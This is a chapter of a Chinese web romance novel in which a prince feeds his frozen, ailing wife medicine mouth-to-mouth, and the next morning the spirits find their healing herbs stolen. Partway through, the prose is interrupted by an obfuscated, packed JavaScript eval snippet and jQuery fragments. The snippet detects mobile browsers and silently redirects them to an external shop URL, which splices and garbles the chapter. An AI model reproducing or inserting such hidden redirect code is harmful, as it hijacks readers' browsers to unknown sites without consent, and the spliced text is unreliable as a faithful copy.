文趣网 > 都市小说 > 新婚夜被王爷掐脖子后 > 42. 渡药
    回到卧房,帝浔在一张木椅上坐下,将宝酥侧放在自己肩头,让她靠稳。

    他拿起勺子,舀了半勺深褐色的药汁,低头轻轻吹了吹,凑到宝酥唇边:“来。”

    宝酥迷迷糊糊地张开嘴,唇瓣刚挨上勺沿,那层温热的药汁还没流入口中,便迅速凝成了一层薄冰,覆在勺面上。

    帝浔眉头微拧,换了根勺子又舀了一勺。

    这一次他没急着喂,先在自己手背上滴了一滴试了试——温度恰好,温热而不烫手。他放心地再次送到宝酥唇边,可不过半息的工夫,药汁又结了冰。

    “不喝了。”宝酥迷迷糊糊道。

    “不喝了?”

    帝浔听后,把勺子“当”一声搁回碗里,道:“王妃说什么鬼话呢?脑子冻坏了?你知不知道这药当年救了多少条命,你倒好,张嘴就是‘不喝了’?”

    宝酥没有回答,只把脸往他肩窝里又埋了埋,含混地嘟哝了一声:“苦……”

    “苦也得喝。”

    帝浔道:“本王背着你楼上楼下跑,两个小精灵被你折腾得烧了一整锅水,药熬了半天你一句‘不喝了’就想打发?你对得起谁?”

    宝酥迷迷糊糊间听了一耳朵,脑子还没完全转过来,嘴已经先动了:“谁都对不起……”

    “你知道就好。”

    帝浔说完低头看向药勺。方才试了两次,勺沿一碰到她的唇,药汁便凝成了薄冰。

    既然用勺子不行,那换种法子呢?

    若是以唇渡药,他体内的纯阳气息应该能护住药温,不让寒气半路截住。

    帝浔没再多想,低头含了一口。

    他搁下碗,一手托起宝酥的下颌,一手将她往怀里带了带,俯身覆上了她的唇。

    药汁顺着相贴的唇缝缓缓渡入宝酥口中,暖意一路滑过咽喉,没有凝冰。

    宝酥身子轻轻一颤,像被一截温热的暖流劈开了满身冰封。她在沉沉昏睡中分不清这是梦还是真,只觉得那股暖意太稀罕了,像冬日深潭里忽然涌上来一道温泉水。

    她本能地仰头,唇瓣轻轻追了一下,下意识吮了吮那正在退开的温热。她不知道自己在吮什么,只知道那股暖意正在离开,她想留住它。

    帝浔的动作顿了一瞬,睫毛微微颤了一下,随即又低了低头,含住了她的唇,将下一口药渡过去。她吞得很慢,可每一口都咽得干干净净。

    宝酥的意识浮在水面上,沉不下去也醒不过来。

    她恍惚觉得有人正捧着她的脸,干燥的掌心托着她的下颌,拇指贴在她腮边,力道极轻,像捧着一只将碎未碎的瓷器。那温度从下颌漫到脸颊,又从脸颊渗进头皮,让她整个后脑勺都暖洋洋的。

    她想睁眼,可眼皮沉得像压了两层棉被,只掀开一条缝,朦胧间看见一片模糊的轮廓,离得很近,眉眼间笼着一层浅浅的光。

    她想看清那是不是帝浔,可意识还没来得及聚拢,便被下一口渡过来的温热冲散。

    那温度里带着一丝极淡的药味,可她不觉得苦,反而觉得踏实——像有人在用最笨的办法告诉她:别怕,我在这里。

    她不知道他渡了几口。只觉得那道温热断断续续的,一次一次地送进来,每停一次她便下意识地抿一下唇,像是在问“还有吗”。而后那温热便会再次覆上来,一寸一寸地把她从冰层底下往上托。

    不多时,瓷碗中的汤药便见了底。

    宝酥的脸终于浮起了一层薄薄的红晕。睫毛上最后一点霜花也很快消融,润润地贴在眼睑上,随着呼吸颤动。

    帝浔托着宝酥微凉的脸颊,摩挲着她恢复血色的肌肤,低声道:“身子暖和些了?”

    听见帝浔的声音,宝酥费力掀开沉重的眼皮,涣散的视线一点点聚拢,清晰映出近在咫尺的人影。

    眼前人为她做的一切,她忽然想,糊涂一点也没关系。她想看他还会做什么,想看看这个人还能让她心软到什么程度。

    她忽然很想告诉母后。告诉母后她从前栽过的那一跤不算什么了。那些把信收在匣子里反复翻看的日子、那些对着月亮猜测“他此刻在做什么”的夜晚、那些小心翼翼地斟酌措辞却始终等不来一封回信的时日——现在回想起来,像隔着水看别人的故事。

    她想告诉母后,眼前这人好像跟帝霖不一样。

    这一次,好像真的嫁对人了。

    宝酥抬起手,指尖轻轻碰了碰帝浔的眼角:“王爷……”

    “本王在呢。”他应得极快,她话音还没落地,他便已经接住了。

    “你眼睛怎么红了?”

    “红了?”帝浔自己都未曾察觉,眼底早已悄悄覆上一层红。

    这些年他见惯生死别离,北疆一战将士尽数凋零,至亲之人也早早离他远去。他这一生总是在失去,在目送,也从未留住过什么。

    母亲走的时候,他攥着她的手说“别走”,她还是走了。北疆那些将士出征前还冲他笑着说“等殿下凯旋”,可最后连尸骨都埋在雪地里,没能运回来。

    而现在,上天他好不容易送给他一个宝酥。

    宝酥冷得像一捧碎冰蜷在他怀里的时候,他忽然有一种很深的恐惧——怕她也会像从前那些人一样,在他还没有准备好的时候就无声无息地走了。

    可他并不希望袒露这份脆弱,便避开了宝酥的指尖,偏过头去,故作淡然道:“你不知道这药很苦吗?”

    宝酥笑道:“那也不至于把眼睛都苦红了吧?”

    “不说这个了。”帝浔转开话题道:“还睡吗?还能再睡一个时辰。”

    宝酥轻笑:“只能再睡一个时辰了啊,感觉不够呢……”

    “还不够?”帝浔低头看她,眉梢微挑:“你看本王抱怨过什么?你知不知道你这几晚把本王折腾成什么样了?想跟本王一起睡便直说。还轻身术……”

    宝酥安静了片刻,像是想通了什么事,忽然道:“那以后不用轻身术了。”

    帝浔低头看她,像是没听清似,“什么?”

    宝酥把脸从他肩窝里抬起来,看着他,认认真真又重复了一遍:“那以后妾身不用轻身术了。”

    “你再说一次?”

    “妾身要跟王爷一起睡。”

    宝酥说出这句话的时候,自己都觉得心跳快得不像话。可她不想收回,也不想用“冷”或者“病了”来兜底,她就是想说这句。

    帝浔看了她两息。那两息里他什么都没说,可宝酥觉得他的目光像一双手,从她的眉眼一路抚到唇边,又落回她的眼底,仔仔细细的,像在确认她说的是真话还是被药力烧昏了头的胡话。

    “真的?”

    “真心的。”

    宝酥迎着他的目光。她自己也没想到这句话会说得这么顺。她从前跟帝霖通信,写了无数封信,每一封落笔前都要斟酌半日措辞,生怕哪句话失了分寸。

    可对着帝浔,她好像不需要想那么久。方才那句话从心口浮起来,舌尖一滚便出去了,像一颗早就熟透了的果子被风轻轻一碰,自己掉了下来。宝酥觉得很轻松。

    “好,那便一起睡。”

    帝浔没有把她放下来,而是直接抱着她站了起来。宝酥还没来得及反应,整个人已经被他稳稳托在怀里,从木椅上起身,两步走到床榻边。

    这一夜,二人依旧安分相守,只是静静依偎着同榻而眠,各自怀着满心心事。

    帝浔大概也没想到,宝酥会主动跨出这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746235|205253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一步。就像宝酥也没想到,他会接得那么干脆。

    *

    第二天一早,宝酥的气色好了不少。虽然面色还带着一丝病后的苍白,但眼角眉梢总算有了活气,嘴唇也恢复了浅浅的粉色,站在晨光里时整个人像一棵被浇透了水又重新立起来的幼苗。

    还没出房门便听到帝沅在外面喊:“事不过三!今天一定会找到堕仙!”

    暴富在旁边凉凉地接了一句:“你昨天也是这么说的。”

    “昨天是昨天,今天是今天!”

    “路还是那条路,树还是那棵树,你昨天迷了今天就能不迷?”

    帝沅被暴富噎得脸都涨红了,正想反驳,帝浔推开了房门。门扇吱呀一声,两人的斗嘴声同时停了下来,齐齐转头看向门口。

    宝酥跟在帝浔身侧走出来,冲屋外那两人弯了弯嘴角:“早上好呀~”

    暴富一见宝酥出来,立刻抛下帝沅凑了上去。她绕着宝酥转了一圈,又凑近了几分,捧起她的脸左看右看。

    “小狐狸,你好点了没?昨晚看你话都不怎么说,脸色白成那样,还以为你出什么事儿了。我跟帝沅打赌你——”

    暴富话说到一半猛地刹住,像是忽然意识到什么不能说的东西,飞快瞄了一眼帝浔,又闭上了嘴。

    宝酥眨了眨眼:“打赌什么?”

    “……没什么。”暴富松开宝酥的脸,干咳一声:“你气色好多了就行,好多了就行。走吧走吧,下去吃点东西,饿了一早上了。”

    帝沅也在旁边附和:“对对对,先填饱肚子再说。今日还要进林子呢,不吃饱可没力气。”

    四人下了楼。楼下的厅堂里摆着几张矮木桌,晨光从窗格间漏进来,铺了一层暖黄色的光。暴富一边走一边搓着手,嘴里已经开始念叨:“不知道小精灵今天备了什么早膳,昨天那个桂花糕还不错,要是还有就好了——”

    她话音未落,就看见了厅堂里的景象。

    两只小精灵趴在桌上,肩膀一抽一抽的,面前的木盘干干净净,连一粒米都没剩下。

    暴富疑惑:“怎么了这是?”

    两只小精灵抬起头来,一见帝浔走下楼来,立刻从凳子上跳下来,跌跌撞撞地跑过去,一把攥住帝浔的衣角:“仙君!仙君!您还有没有烈阳草?昨晚放在厨房里的烈阳草全不在了——全没了!”

    “什么?”

    小精灵道:“我们明明把剩下的烈阳草收在灶台旁边的陶罐里了,用布盖着,仔仔细细的。今早我一进厨房准备熬药,陶罐盖子翻在地上,里面的烈阳草一根都没剩!”

    瘦高精灵也抽抽搭搭地补了一句:“我们昨晚守到后半夜才睡……就、就打了个盹儿……起来就没了……”

    “昨晚可有人靠近过厨房?”

    胖精灵使劲摇头:“没有没有!”

    瘦高精灵哭得更厉害了:“仙君,我们是不是闯祸了……”

    帝浔低头看着两只哭得泪眼模糊的小精灵,叹道:“不怪你们。若有人存心要来取,你们守不住也是常事。”

    宝酥道:“不用担心。或许那人并没走远。”

    说完这句话,宝酥便轻轻阖上了眼。

    帝浔侧头看她,正要问她“你有办法”,便见她周身的空气静了一静。

    宝酥再次睁眼时,她那原本琥珀色的瞳仁里便浮起一层淡粉色的光晕。

    视野在宝酥眼前变得开阔。

    屋舍的墙壁、木桌、窗棂,全都变成了一层半透明的轮廓。那些遮遮掩掩的东西在这双眼睛里无所遁形,她能看见空气中残存的灵力轨迹,像夜萤一样飘浮在厨房通往厅堂的路线上,一路蜿蜒着往门外延伸。

    “跟我来。”